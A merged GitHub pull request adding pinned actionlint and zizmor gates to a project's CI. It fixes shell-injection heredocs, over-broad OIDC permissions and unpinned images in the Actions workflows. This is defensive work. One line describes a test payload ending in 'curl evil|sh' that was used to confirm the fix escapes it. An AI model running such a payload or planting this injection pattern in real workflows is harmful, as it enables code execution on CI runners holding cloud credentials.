Skip to content

chore(ci): gate workflows on actionlint and zizmor - #1870

Merged
cristim merged 5 commits into
mainfrom
chore/1646-workflow-linter
Aug 19, 2026
Merged

cristim merged 5 commits into
mainfrom
chore/1646-workflow-linter

Conversation

@cristim

@cristim cristim commented Aug 19, 2026 •

Copy link
Copy Markdown
Member

Closes #1646

Nothing in this repo read .github/workflows/ for defects. govulncheck and gosec are Go source scanners, trivy-config targets Terraform/Dockerfile/Kubernetes, and check-yaml only proves the YAML parses. That gap is why two expression injections reaching production cloud credentials (#1542, #1649) passed every CI run on every push.

Why both linters, and why actionlint alone would have been theatre

The issue says actionlint exits 1 against the pre-fix rollback.yml. That is true and it is misleading. Measured against the actual pre-fix file:

pre-fix rollback.yml reintroduced #1649 shape
actionlint exit 1, findings at lines 63/99/165/396 — never flags the injection at 438-449 exit 0, reports nothing at all
zizmor exit 14, names line 435 High severity / High confidence exit 14, names line 17 High/High

actionlint went red for reasons unrelated to the vulnerability, and does not catch the #1649 shape at all. zizmor's template-injection audit names both. Both tools are carried; neither substitutes for the other.

Three High-confidence injections were still live

deploy-aws-fargate.yml, deploy-azure.yml and deploy-gcp.yml each wrote deployment-info.json through an unquoted cat <<EOF heredoc — the same shape as #1542, in files nobody had swept. Each now routes values through env: and builds the document with jq -n --arg. Verified: a payload of $(touch …)"; curl evil|sh; # lands as an escaped JSON string and does not execute.

(Also worth noting: the issue's "8 of 16 files" baseline is stale. At the branch point it was 6 — rollback.yml and deploy-aws-lambda.yml have since been fixed.)

Findings cleared: 159. Suppressed: 0.

source count disposition
actionlint SC2086 / SC2129 / SC2012 120 fixed (quoting, redirect grouping, ls→find)
zizmor template-injection High 3 fixed (the heredocs above)
zizmor excessive-permissions High 5 fixed (id-token: write moved to authenticating jobs only)
zizmor unpinned-images High 1 fixed (postgres digest-pinned)
zizmor excessive-permissions Medium 16 fixed (explicit per-job permissions: blocks)
zizmor artipacked Medium 14 fixed (persist-credentials: false)

No baseline file, no only-new-issues, no config file, no # zizmor: ignore or # shellcheck disable anywhere in the diff. Masking CI debt is worse than the debt.

The shellcheck pass is quoting and grouping only: the set of ${{ }} expressions is byte-identical before and after.

Pins

tool version pinned by
actionlint 1.7.12 image digest sha256:b1934ee5f1c5…
zizmor 1.29.0 zizmor==1.29.0
postgres 16-alpine digest sha256:cf78e766…

Digest rather than tag because a tag is mutable, and a linter that changes ruleset with no change in this repo turns main red on its own schedule (#1695). zizmor runs --offline for the same reason: its online audits query the GitHub API.

The actionlint image bundles shellcheck 0.11.0, which matters — actionlint does not fail when shellcheck is missing from PATH, it silently skips every run: block and exits 0 (measured: actionlint -shellcheck /nonexistent on a workflow with two real SC2086s prints nothing, exit 0). That silent skip is how #1542 stayed invisible, so the job asserts the binary is present rather than trusting the image to keep shipping it.

The postgres pin is applied to ci.yml, docker-compose.test.yml and docker-compose.yml. Pinning only ci.yml — where zizmor looks — would have closed the integration-tests path and left the e2e path floating, since docker-compose.test.yml is exactly what the e2e-tests job runs. nginx:alpine and dpage/pgadmin4:9.2 are deliberately left on tags: local-development-only services in docker-compose.yml, which no workflow references.

Gate settings, and what is deliberately outside them

--persona=pedantic --min-severity=medium, identical in ci.yml and the pre-commit hook.

The first version of this PR gated at --persona=regular (zizmor's default). Review caught that this was wrong: the persona, not the severity threshold, was hiding three genuine High findings (workflow-level id-token: write in both sanity workflows, and the unpinned postgres image). Those are fixed rather than filtered, which is what allows the stricter persona. Worth flagging because it is this issue's own defect class: a gate that looks armed while a filter removes what it exists to catch.

--min-severity=medium is a threshold, not a suppression — no baseline, no per-finding ignore — so any new medium or high finding fails the build.

Two tiers sit outside the gate, stated so nobody reads this as stronger or weaker than it is:

  • 106 findings below the threshold, none above Low: 66 template-injection on values sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write #1649 already assessed as non-injectable (github.actor, github.sha and similar), plus 25 undocumented-permissions, 13 concurrency-limits, 2 anonymous-definition. Clearing these means rewriting the deploy workflows.
  • 14 secrets-outside-env (Medium) visible only at --persona=auditor — aws_sanity.yml:21,28,29,54, azure_sanity.yml:26,27,28,53,54,55,60,61, ci.yml:782, rollback.yml:77. The audit wants each secret-consuming job bound to a GitHub environment:. The auditor persona is documented as accepting false positives, which is why the gate sits one level below it. If you run --persona=auditor you will see these; they are deferred on purpose, not missed.

Zero High-severity findings remain at any persona.

Verification

  • Gate exits 0 on this tree; exits 14 on a scratch tree carrying the pre-fix rollback.yml plus a reintroduced sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write #1649 tag interpolation, naming template-injection at reintroduced-1649.yml:17:25. Re-confirmed after the rebase onto edb353c2e, since a result stops being evidence when the tree under it changes.
  • workflow-lint is in ci-success's needs:, which allowlists on result == "success", so a skipped run also fails the gate. It cannot pass by not running.
  • A step asserts a non-zero workflow file count. Both linters do exit 3 on an empty input set, so this is defence in depth against a set that shrinks silently, not the only guard.
  • Both pre-commit hooks run clean via pre-commit run <id> --all-files, at the same pins and flags as CI.

What is NOT verified

No deployment was executed. The id-token: write relocation is the highest-risk part of this change and none of the four deploy workflows run on a PR, so CI does not exercise them. It is verified by parsing all 16 workflows and asserting that every job invoking configure-aws-credentials, azure/login or google-github-actions/auth still receives id-token: write, and that all four deploy-all.yml caller jobs grant it (a called workflow can never hold more permission than its caller job). That check passes with zero failures and was confirmed independently by a second reviewer. But no OIDC token was ever minted. If a job is under-privileged, the first real deploy is where it surfaces.

Also unverified at runtime: jq and pipx presence on the runner (asserted from GitHub's documented image contents), and the workflow-lint job itself, which has never run in Actions — every command was executed locally at the same pinned image and version.

Reviewed twice by an independent adversarial reviewer against the six dimensions, to a clean pass.

Summary by CodeRabbit

  • Security

    • Strengthened automation access controls using least-privilege permissions.
    • Prevented checkout steps from retaining credentials.
    • Improved protection of deployment metadata and workflow outputs.
  • Reliability

    • Added automated workflow linting and security checks.
    • Improved validation of shell scripts and workflow configuration.
    • Made database migration and deployment reporting more robust.
  • Consistency

    • Pinned PostgreSQL images to fixed versions for reproducible testing and local development.
    • Standardized deployment summaries and status reporting across cloud environments.

shellcheck, run via actionlint, reports 120 findings across six workflow
files: 106 SC2086 (unquoted $GITHUB_OUTPUT / $GITHUB_STEP_SUMMARY /
$GITHUB_ENV expansions), 12 SC2129 (consecutive redirects to the same
file) and 2 SC2012 (ls parsed for a file count).

Quoting and grouping only. No GitHub Actions expression, output text,
step name or ordering changes; the set of ${{ }} expressions is
byte-identical before and after. The two ls uses become find, which
yields the same count for the missing-directory and no-match cases.

Clears the backlog so the workflow linter added next can gate on a
clean tree instead of landing red.
Three groups, 36 findings at medium severity and above.

template-injection (high, 3): the 'Save deployment info' steps in
deploy-aws-fargate.yml, deploy-azure.yml and deploy-gcp.yml wrote JSON
through an UNQUOTED heredoc, so every interpolated value was pasted into
shell source before bash parsed it and $(...) inside the body executed.
This is the same shape as the rollback.yml defect: a job output or a
terraform output carrying $(...) reaches a job holding id-token write.
Each now passes its values through env: and builds the document with
jq -n --arg, which escapes rather than evaluates. Key sets and ordering
are unchanged per file.

excessive-permissions (3 high, 3 medium): id-token write was declared at
workflow level in the three deploy workflows, granting it to prepare,
test-deployment and summary jobs that never authenticate. It now sits
only on the jobs running configure-aws-credentials, azure/login or
google-github-actions/auth. deploy-all.yml and ci.yml gain an explicit
workflow-level contents: read, and every previously implicit job gains
its own block.

deploy-all.yml calls four deploy workflows through workflow_call, and a
called workflow can never hold more permission than its caller job
grants, so all four caller jobs explicitly grant id-token write. Without
that the relocation would break every deployment. This half is verified
by reading the graph, not by running it: dispatching a deploy workflow
was out of scope, so the OIDC path is unproven at runtime.

artipacked (medium, 14): actions/checkout persisted the credential into
.git/config where later steps and uploaded artifacts could read it. All
14 checkouts set persist-credentials: false. No workflow in this set
runs git push, git commit or git fetch against this repo, so nothing
depended on the persisted credential.
Nothing in this repo read .github/workflows/ for defects. govulncheck and
gosec are Go source scanners, trivy-config targets Terraform, Dockerfile
and Kubernetes, and check-yaml only proves the YAML parses. That gap is
why two expression injections reaching production cloud credentials
(#1542, #1649) passed every CI run on every push.

Adds a workflow-lint job to ci.yml and the matching pair of pre-commit
hooks, so the same two linters run at the same pinned versions before
the push and again in CI. workflow-lint is listed in ci-success needs,
which allowlists on success, so the gate blocks rather than warns.

Both linters are carried because neither substitutes for the other.
Measured against the pre-fix rollback.yml, actionlint exits 1 but every
finding is unrelated SC2086 noise; it never flags the injected heredoc,
and against a reintroduced #1649 tag interpolation it reports nothing at
all. zizmor names both, high severity and high confidence.

Pins: actionlint 1.7.12 by image digest and zizmor 1.29.0 by version.
Tags are mutable and a linter that changes ruleset on its own schedule
turns main red without a change here, which is the hadolint failure in
#1695. zizmor runs --offline for the same reason: its online audits
query the GitHub API, so findings would move under us.

The actionlint image bundles shellcheck. actionlint silently skips every
run: block and still exits 0 when shellcheck is absent from PATH, which
is how the rollback.yml injection went unflagged, so the job asserts the
binary is present rather than trusting the image to keep shipping it.

A step also asserts a non-zero workflow file count. Both linters do exit
3 on an empty input set, so this is defence in depth against a path or
glob regression that leaves a subset unscanned rather than the only
guard against a vacuous pass.

--min-severity=medium is a threshold, not a suppression: no baseline
file, no per-finding ignore, no only-new-issues, so any new medium or
high finding fails. Both motivating bugs score high. The informational
and low tier below it is 42 template-injection hits on values #1649
already assessed as non-injectable; clearing it means rewriting the
deploy workflows and is left to a follow-up rather than silenced.
Review of the previous commit found that --persona=regular, zizmor's
default, hides three high-severity findings this repo actually has, so
the claim that every medium and high finding fails the job was false.
The persona, not the severity threshold, was discarding them.

Fixed rather than filtered, which is what lets the gate move up:

  - aws_sanity.yml and azure_sanity.yml declared id-token: write at
    workflow level, the same pattern the previous commit removed from
    the three deploy workflows. Both have a single job today so this is
    behaviour-preserving, but it stops being so the moment a second job
    is added.
  - ci.yml ran the integration-test postgres service on the floating
    tag postgres:16-alpine. Now pinned by digest, consistent with the
    hadolint and actionlint pins and with #1695.

The gate moves to --persona=pedantic in both ci.yml and the pre-commit
hook. auditor is one level further up and is documented as accepting
false positives, so it is not used. Verified the stricter setting still
fails on both motivating bugs: a tree carrying the pre-fix rollback.yml
and a reintroduced #1649 tag interpolation exits 14 and names both.

Also from the review:

  - actionlint now runs with no file arguments and discovers
    .github/workflows itself. The explicit *.yml glob would have skipped
    a .yaml workflow that the file-count step above still counted.
  - The file-count comment claimed both linters exit 0 on an empty input
    set. They exit 3. The step is defence in depth against a set that
    shrinks silently, not the only thing preventing a vacuous pass, and
    the comment now says so.
  - Three job comments in ci.yml described narrowing the repository
    default token, which stopped being true when the previous commit
    added a workflow-level permissions block.
The digest pin landed in ci.yml because zizmor's unpinned-images audit
reads workflow files, and stopped there. docker-compose.test.yml is what
ci.yml's e2e-tests job runs, so the pin closed the integration-tests
database path and left the e2e one floating, and nothing gated the
difference because no checker looks at compose files.

Both now carry the same digest as the ci.yml service container, so local
development and both CI database paths run identical PostgreSQL.

nginx:alpine and dpage/pgadmin4:9.2 in docker-compose.yml are left on
their tags. Both are local-development-only services, neither is
reachable from any workflow, and pgadmin is already marked as not for
production use. Recorded here rather than pinned silently so the choice
is visible.
@cristim cristim added priority/p1 Next up; this sprint severity/high Significant harm urgency/this-sprint Within the current sprint impact/internal Team-internal only effort/m Days type/chore Maintenance / non-user-visible triaged Item has been triaged labels Aug 19, 2026
@coderabbitai

coderabbitai Bot commented Aug 19, 2026 •

Copy link
Copy Markdown
Contributor

Review Change Stack

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: a498edee-5264-4cc9-a721-b8cc1c12a2b7

📥 Commits

Reviewing files that changed from the base of the PR and between edb353c and 4297642.

📒 Files selected for processing (17)
  • .github/workflows/aws_sanity.yml
  • .github/workflows/azure_sanity.yml
  • .github/workflows/ci.yml
  • .github/workflows/cleanup-staging.yml
  • .github/workflows/database-migration.yml
  • .github/workflows/deploy-all.yml
  • .github/workflows/deploy-aws-fargate.yml
  • .github/workflows/deploy-aws-lambda.yml
  • .github/workflows/deploy-azure.yml
  • .github/workflows/deploy-gcp.yml
  • .github/workflows/destroy-fargate-dev.yml
  • .github/workflows/frontend-build-sentinel.yml
  • .github/workflows/frontend-build.yml
  • .github/workflows/pre-commit.yml
  • .pre-commit-config.yaml
  • docker-compose.test.yml
  • docker-compose.yml

Included review availability: 0 reviews are currently available. Your included PR review attempts over the past 7 days set your current allowance at 1 review per hour.


📝 Walkthrough

Walkthrough

The pull request hardens GitHub Actions workflows with explicit permissions, disabled checkout credentials, safer shell output handling, workflow linting, offline security auditing, and digest-pinned PostgreSQL images.

Changes

Workflow hardening

Layer / File(s) Summary
Workflow lint gate
.github/workflows/ci.yml, .pre-commit-config.yaml
CI and pre-commit now run pinned actionlint and zizmor checks. workflow-lint is required by ci-success. CI jobs declare contents: read.
Credential and permission hardening
.github/workflows/aws_sanity.yml, .github/workflows/azure_sanity.yml, .github/workflows/cleanup-staging.yml, .github/workflows/deploy-aws-lambda.yml, .github/workflows/destroy-fargate-dev.yml, .github/workflows/frontend-build*.yml, .github/workflows/pre-commit.yml
OIDC permissions are scoped to required jobs. Checkout steps set persist-credentials: false.
Deployment orchestration and output handling
.github/workflows/deploy-all.yml, .github/workflows/database-migration.yml
Deployment workflows quote GitHub output paths, use find for migration discovery, and batch summary writes.
Cloud deployment metadata and job permissions
.github/workflows/deploy-aws-fargate.yml, .github/workflows/deploy-azure.yml, .github/workflows/deploy-gcp.yml
Deployment jobs receive required OIDC permissions. Deployment metadata uses strict-shell jq construction. Summary output is appended in one grouped operation.
Pinned PostgreSQL test images
.github/workflows/ci.yml, docker-compose.yml, docker-compose.test.yml
PostgreSQL 16 Alpine images use a shared SHA-256 digest.

Estimated code review effort: 4 (Complex) | ~45 minutes

Merge Risk: ⚪ Minimal · up to 42976

The workflow linting and security-gating changes are merge-ready after normal checks and review; no actionable merge-blocking risk remains.

Sequence Diagram(s)

sequenceDiagram
  participant CI
  participant actionlint
  participant zizmor
  participant ci-success
  CI->>actionlint: Validate workflow YAML and shell
  CI->>zizmor: Audit workflow security
  actionlint-->>ci-success: Return lint result
  zizmor-->>ci-success: Return audit result
Loading

Possibly related issues

  • LeanerCloud/CUDly#1659: Addresses the same objective of scoping id-token: write to required deployment and sanity jobs.

Possibly related PRs

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly identifies the main change: gating workflows with actionlint and zizmor.
Linked Issues check ✅ Passed The PR satisfies issue #1646 by adding pinned actionlint and zizmor gates, clearing findings, and adding matching pre-commit hooks.
Out of Scope Changes check ✅ Passed The workflow security fixes, permission changes, credential handling, and PostgreSQL pinning support the stated objectives.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch chore/1646-workflow-linter

Comment @coderabbitai help to get the list of available commands.

@cristim
cristim merged commit c8bc76f into main Aug 19, 2026
26 checks passed
cristim added a commit that referenced this pull request Aug 20, 2026
Frontend E2E wedged on Install Chromium and skipped every spec

npx playwright install --with-deps chromium wedged five times across two
pull requests, each time consuming the job's 10-minute budget until the
runner killed it. GitHub records that as cancelled rather than failed, so
any check computing green by excluding known failure names reads it as
passing, and Run Playwright tests is skipped. The Playwright suite is the
only evidence for a class of defect jsdom cannot see, since it does not
resolve stylesheets into layout, which is exactly what #1777 and #1776
were. On both pull requests the e2e signal was absent while nothing showed
as failed.

The separation is unambiguous. Across every run and attempt: 39 successful
installs, 36 of them at or under 39 seconds, outliers at 101, 140 and 381.
Against that, 5 wedges, none under 585 seconds. A healthy job completes end
to end in about 66 seconds.

Those wedge figures are lower bounds, not measurements. All five were
truncated by the job cap, with preamble plus install a constant 615 to 618
seconds of job wall clock, and the install duration varying inversely with
the preamble exactly as truncation predicts. None of them self-terminated,
so nothing here establishes how long the wedge would have lasted.

The install step now carries its own 8-minute timeout, and the job cap
moves to 12 minutes to accommodate it. That distinction is the fix rather
than a mitigation: a step busting its own timeout yields failure, while a
job busting the job-level one yields cancelled. Confirmed in actions/runner
StepsRunner.cs around L322-337, where step-level cancellation with a clear
job token sets TaskResult.Failed and job-level cancellation sets
TaskResult.Canceled. This is the repository's first step-level timeout, so
there was no local precedent and the runner source was the only available
proof. A future wedge therefore reports as a failure, attributable to the
install rather than swallowing the whole job.

Raising the job cap was required rather than cosmetic: 480 plus 78 plus
roughly 30 is 588 seconds against the old 600-second cap, leaving 12
seconds of margin. The 78 is per-step maxima measured across all
conclusions rather than green runs only, which would understate it at 75.

Browsers are also cached, keyed on the Playwright version resolved from
package-lock.json, so the common path skips the download entirely rather
than repeating it every run. restore-keys is deliberately omitted: a prefix
hit would download roughly 150MB that the install immediately deletes and
re-downloads, since Playwright garbage-collects browser directories not
required by the surviving link on every install.

Verified: actionlint 1.7.12 and zizmor 1.29.0 at the pinned CI flags both
exit 0, identical to a clean main checkout at every severity, and the
Lint Workflows gate added by #1870 passed on this change in CI, matching
the local run. Cache keys change when the Playwright version changes, a hit
skips the download, and the workflow still parses with Run Playwright tests
reachable on every path.

Not verified: the upstream wedge cannot be reproduced on demand, so the
step timeout's behaviour under a real wedge is established from runner
source rather than observed here.

Deferred: #1871, Frontend E2E is not a required status check, so a red or
absent Playwright run gates nothing. That is the other half of this
problem and it interacts with the paths filter, since a pull request
touching nothing under frontend/ never reports the context at all. It also
carries the __dirlock lock-contention hypothesis, which fits every sample
but is not established, with the diagnostic to run on recurrence.
cristim added a commit that referenced this pull request Sep 27, 2026
Nothing inspected workflow files, so Actions injection was undetectable

No actionlint and no zizmor ran anywhere: not in ci.yml, not in
.pre-commit-config.yaml. The Security Scanning job runs govulncheck and
gosec, both Go source scanners that never open a workflow file; the
trivy-config hook targets Terraform, Dockerfile and Kubernetes
misconfiguration; check-yaml only proves the YAML parses. That is why
#1542 and #1649, both shell injection reaching production cloud
credentials, passed every CI run on every push.

This is the systemic issue behind #1542, #1647 and #1649. Fixing those
removes three bugs; a linter prevents the class.

It found three more. Live in the tree at fffd2ea, unreported by
anything: template-injection at deploy-aws-fargate.yml:215,
deploy-azure.yml:340 and deploy-gcp.yml:204, each an unquoted cat <<EOF
heredoc with ${{ }} interpolated into it, the same shape as #1542, in
files nobody had swept. The issue predicted "the next one nobody has
found yet"; there were three. Values now pass through env: and the JSON
is built with jq -n --arg.

Also corrected: the issue's baseline table is stale. Six files fail
actionlint at that commit, not eight, because rollback.yml and
deploy-aws-lambda.yml were fixed in the interim.

A Lint Workflows job now runs actionlint and zizmor and fails the build
on findings. Both are pinned, actionlint by image digest and zizmor at
1.29.0, because an unpinned linter changes its findings underneath you.
The same two run in pre-commit with identical flags, so the feedback
arrives before the push rather than after. The job asserts a non-zero
workflow count before linting, so "no findings" cannot be reached by
scanning nothing, and it asserts shellcheck is present inside the
actionlint image, since actionlint silently skips shell analysis without
it.

Pre-existing findings were fixed rather than suppressed. Three
template-injection at High, 16 excessive-permissions at Medium, resolved
by explicit permissions: blocks on 13 ci.yml jobs and 3 deploy-all.yml
jobs. Zero High findings remain at any persona. The gate runs at
--persona=pedantic --min-severity=medium, above which 106 Informational
and Low findings are ignored, broken down as 66 template-injection, 25
undocumented-permissions, 13 concurrency-limits and 2
anonymous-definition. No baseline file, no only-new-issues, no blanket
ignore.

Deliberately left above the gate: 14 secrets-outside-env findings at the
Auditor persona, wanting every secret-consuming job bound to a GitHub
environment. The deploy workflows already are; the sanity workflows and
two others are not. Deferred rather than hidden, so a reader running
--persona=auditor knows why it exits 13.

Verified that the gate catches the bugs that motivated it: against a
scratch tree reintroducing the #1649 shape it exits 14, naming
template-injection at reintroduced-1649.yml and 17 findings in
rollback.yml, plus excessive-permissions on both. A linter that runs but
would not have caught them is theatre. Confirmed in CI that Lint
Workflows executed and reported "Linting 16 workflow files" rather than
passing on an empty set.

Not verified: no deployment was executed. The id-token: write relocation
is the highest-risk part and is checked by parsing all 16 workflows and
asserting every job invoking configure-aws-credentials, azure/login or
google-github-actions/auth still receives it, and that all four
deploy-all.yml caller jobs grant it, since a called workflow can never
hold more permission than its caller. That passes with zero failures and
was confirmed independently, but no OIDC token was minted. If a job is
under-privileged, the first real deploy is where it surfaces.

The postgres image is pinned by digest in both compose files as well as
the workflow, because zizmor's unpinned-images only reads workflow files
and docker-compose.test.yml is what the e2e job runs; pinning only where
the linter looks would have left that path open.

Deferred: #1869 covers Frontend E2E hanging on Install Chromium and being
recorded as cancelled rather than failed. #1863 and #1865 cover files
over the 500-line ceiling.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

effort/m Days impact/internal Team-internal only priority/p1 Next up; this sprint severity/high Significant harm triaged Item has been triaged type/chore Maintenance / non-user-visible urgency/this-sprint Within the current sprint

Projects

None yet

Development

Successfully merging this pull request may close these issues.

chore(ci): no workflow linter runs, so Actions expression injection is undetectable

1 participant